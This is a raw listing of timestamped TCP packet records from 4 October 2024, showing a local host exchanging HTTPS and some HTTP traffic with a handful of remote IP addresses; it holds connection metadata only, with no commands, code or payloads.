Oct 4, 2024 15:53:34.999661922 CEST	443	49708	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.002163887 CEST	49715	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.002192020 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.002249956 CEST	49715	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.002398014 CEST	49715	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.002410889 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.259787083 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.260308027 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.260340929 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.260828018 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.260834932 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.363755941 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.363807917 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.363890886 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.363910913 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.363955021 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.364015102 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.364120960 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.364168882 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.365149021 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.365164995 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.365195990 CEST	49709	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.365201950 CEST	443	49709	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.367692947 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.367727041 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.367827892 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.367953062 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.367964983 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.663218975 CEST	443	49713	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.663813114 CEST	49713	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.663841009 CEST	443	49713	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.664283037 CEST	49713	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.664293051 CEST	443	49713	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.668077946 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.668450117 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.668464899 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.669189930 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.669198036 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.681926966 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.683392048 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.683399916 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.684024096 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.684029102 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.713305950 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.713895082 CEST	49715	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.713907003 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.714607954 CEST	49715	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.714612007 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.764722109 CEST	443	49713	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.764947891 CEST	443	49713	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.765026093 CEST	49713	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.765062094 CEST	49713	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.765088081 CEST	443	49713	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.765104055 CEST	49713	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.765113115 CEST	443	49713	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.767483950 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.767519951 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.767586946 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.767745972 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.767755985 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.767812014 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.767957926 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.768013000 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.768035889 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.768044949 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.768062115 CEST	49714	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.768068075 CEST	443	49714	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.770072937 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.770092964 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.770226955 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.770298004 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.770303965 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.785692930 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.785751104 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.785818100 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.785927057 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.785943031 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.785953045 CEST	49712	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.785958052 CEST	443	49712	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.788002968 CEST	49719	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.788041115 CEST	443	49719	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.788213968 CEST	49719	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.788244009 CEST	49719	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.788249969 CEST	443	49719	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.806171894 CEST	49720	80	192.168.2.10	41.216.188.190
Oct 4, 2024 15:53:35.811021090 CEST	80	49720	41.216.188.190	192.168.2.10
Oct 4, 2024 15:53:35.811129093 CEST	49720	80	192.168.2.10	41.216.188.190
Oct 4, 2024 15:53:35.811278105 CEST	49720	80	192.168.2.10	41.216.188.190
Oct 4, 2024 15:53:35.816237926 CEST	80	49720	41.216.188.190	192.168.2.10
Oct 4, 2024 15:53:35.816571951 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.816639900 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.816699982 CEST	49715	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.816788912 CEST	49715	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.816788912 CEST	49715	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.816801071 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.816809893 CEST	443	49715	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.819856882 CEST	49721	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.819902897 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:35.819976091 CEST	49721	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.820138931 CEST	49721	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:35.820156097 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.030738115 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.031413078 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.031429052 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.032187939 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.032193899 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.135303974 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.135400057 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.135495901 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.135658979 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.135658979 CEST	49716	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.135679007 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.135688066 CEST	443	49716	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.137975931 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.138019085 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.138091087 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.138233900 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.138251066 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.418550014 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.419620991 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.424391031 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.424417019 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.425297976 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.425306082 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.426256895 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.426280975 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.427018881 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.427023888 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.469393015 CEST	443	49719	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.469949007 CEST	49719	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.469964981 CEST	443	49719	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.470391989 CEST	49719	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.470403910 CEST	443	49719	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.479793072 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.480112076 CEST	49721	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.480133057 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.480518103 CEST	49721	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.480523109 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.522106886 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.522250891 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.522351027 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.522387981 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.522387981 CEST	49717	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.522408009 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.522417068 CEST	443	49717	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.522677898 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.522811890 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.522867918 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.523418903 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.523425102 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.523469925 CEST	49718	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.523475885 CEST	443	49718	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.525608063 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.525660992 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.525667906 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.525696993 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.525738955 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.525763988 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.525893927 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.525902987 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.525911093 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.525919914 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.532332897 CEST	80	49720	41.216.188.190	192.168.2.10
Oct 4, 2024 15:53:36.547586918 CEST	49725	443	192.168.2.10	173.231.16.77
Oct 4, 2024 15:53:36.547619104 CEST	443	49725	173.231.16.77	192.168.2.10
Oct 4, 2024 15:53:36.547702074 CEST	49725	443	192.168.2.10	173.231.16.77
Oct 4, 2024 15:53:36.548693895 CEST	49725	443	192.168.2.10	173.231.16.77
Oct 4, 2024 15:53:36.548707008 CEST	443	49725	173.231.16.77	192.168.2.10
Oct 4, 2024 15:53:36.574214935 CEST	443	49719	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.574265003 CEST	443	49719	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.574373007 CEST	49719	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.581669092 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.581806898 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.581882000 CEST	49721	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.582583904 CEST	49720	80	192.168.2.10	41.216.188.190
Oct 4, 2024 15:53:36.588277102 CEST	49719	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.588277102 CEST	49719	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.588293076 CEST	443	49719	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.588296890 CEST	443	49719	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.589263916 CEST	49721	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.589278936 CEST	443	49721	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.591311932 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.591335058 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.591424942 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.591464043 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.591530085 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.591564894 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.591648102 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.591654062 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.591732025 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.591742039 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.782665014 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.783159971 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.783179998 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.783727884 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.783732891 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.883843899 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.884036064 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.884145021 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.884496927 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.884496927 CEST	49722	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.884512901 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.884521961 CEST	443	49722	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.886894941 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.886944056 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:36.887027979 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.887162924 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:36.887168884 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.130503893 CEST	443	49725	173.231.16.77	192.168.2.10
Oct 4, 2024 15:53:37.130584955 CEST	49725	443	192.168.2.10	173.231.16.77
Oct 4, 2024 15:53:37.133435965 CEST	49725	443	192.168.2.10	173.231.16.77
Oct 4, 2024 15:53:37.133443117 CEST	443	49725	173.231.16.77	192.168.2.10
Oct 4, 2024 15:53:37.133848906 CEST	443	49725	173.231.16.77	192.168.2.10
Oct 4, 2024 15:53:37.162655115 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.180102110 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.191951036 CEST	49725	443	192.168.2.10	173.231.16.77
Oct 4, 2024 15:53:37.207583904 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.223213911 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.230981112 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.248954058 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.248965979 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.249608994 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.249609947 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.249614954 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.249618053 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.249799967 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.249826908 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.250181913 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.250186920 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.250193119 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.250197887 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.256659985 CEST	49725	443	192.168.2.10	173.231.16.77
Oct 4, 2024 15:53:37.270273924 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.273945093 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.273958921 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.278827906 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.278834105 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.303395987 CEST	443	49725	173.231.16.77	192.168.2.10
Oct 4, 2024 15:53:37.344810009 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.344861984 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.344955921 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.345061064 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.345201969 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.345495939 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.354038000 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.354177952 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.354250908 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.383157015 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.383210897 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.383285046 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.396775961 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.396791935 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.396822929 CEST	49726	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.396828890 CEST	443	49726	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.410543919 CEST	443	49725	173.231.16.77	192.168.2.10
Oct 4, 2024 15:53:37.410594940 CEST	443	49725	173.231.16.77	192.168.2.10
Oct 4, 2024 15:53:37.410695076 CEST	49725	443	192.168.2.10	173.231.16.77
Oct 4, 2024 15:53:37.423830986 CEST	49725	443	192.168.2.10	173.231.16.77
Oct 4, 2024 15:53:37.423835993 CEST	443	49725	173.231.16.77	192.168.2.10
Oct 4, 2024 15:53:37.423868895 CEST	49725	443	192.168.2.10	173.231.16.77
Oct 4, 2024 15:53:37.423873901 CEST	443	49725	173.231.16.77	192.168.2.10
Oct 4, 2024 15:53:37.496191978 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.496218920 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.496227026 CEST	49727	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.496232986 CEST	443	49727	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.534462929 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.551856995 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.551887989 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.552488089 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.552494049 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.552903891 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.552937031 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.552951097 CEST	49724	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.552958965 CEST	443	49724	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.553749084 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.553762913 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.553774118 CEST	49723	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.553780079 CEST	443	49723	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.562453985 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.562488079 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.562582970 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.563410044 CEST	49729	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.563422918 CEST	443	49729	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.564626932 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.564636946 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.564690113 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.565051079 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.565057993 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.566076040 CEST	49731	443	192.168.2.10	34.117.59.81
Oct 4, 2024 15:53:37.566083908 CEST	443	49731	34.117.59.81	192.168.2.10
Oct 4, 2024 15:53:37.566164970 CEST	49731	443	192.168.2.10	34.117.59.81
Oct 4, 2024 15:53:37.566483021 CEST	49731	443	192.168.2.10	34.117.59.81
Oct 4, 2024 15:53:37.566490889 CEST	443	49731	34.117.59.81	192.168.2.10
Oct 4, 2024 15:53:37.569340944 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.569376945 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.569566011 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.569659948 CEST	49732	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.569670916 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.570878983 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.570918083 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.570982933 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.573105097 CEST	49733	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.573121071 CEST	443	49733	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.696578979 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.696741104 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.696805954 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.717497110 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.717541933 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.717577934 CEST	49728	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.717586040 CEST	443	49728	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.898610115 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.898659945 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:37.898971081 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.899261951 CEST	49734	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:37.899276972 CEST	443	49734	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.250103951 CEST	443	49731	34.117.59.81	192.168.2.10
Oct 4, 2024 15:53:38.250175953 CEST	49731	443	192.168.2.10	34.117.59.81
Oct 4, 2024 15:53:38.251648903 CEST	49731	443	192.168.2.10	34.117.59.81
Oct 4, 2024 15:53:38.251660109 CEST	443	49731	34.117.59.81	192.168.2.10
Oct 4, 2024 15:53:38.251904964 CEST	443	49731	34.117.59.81	192.168.2.10
Oct 4, 2024 15:53:38.253107071 CEST	49731	443	192.168.2.10	34.117.59.81
Oct 4, 2024 15:53:38.299401045 CEST	443	49731	34.117.59.81	192.168.2.10
Oct 4, 2024 15:53:38.394923925 CEST	443	49731	34.117.59.81	192.168.2.10
Oct 4, 2024 15:53:38.395051956 CEST	443	49731	34.117.59.81	192.168.2.10
Oct 4, 2024 15:53:38.395217896 CEST	49731	443	192.168.2.10	34.117.59.81
Oct 4, 2024 15:53:38.395538092 CEST	49731	443	192.168.2.10	34.117.59.81
Oct 4, 2024 15:53:38.395558119 CEST	443	49731	34.117.59.81	192.168.2.10
Oct 4, 2024 15:53:38.395572901 CEST	49731	443	192.168.2.10	34.117.59.81
Oct 4, 2024 15:53:38.395577908 CEST	443	49731	34.117.59.81	192.168.2.10
Oct 4, 2024 15:53:38.423073053 CEST	443	49730	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.423784971 CEST	49730	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:38.423808098 CEST	443	49732	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:38.423813105 CEST	443	49730	13.107.246.60	192.168.2.10
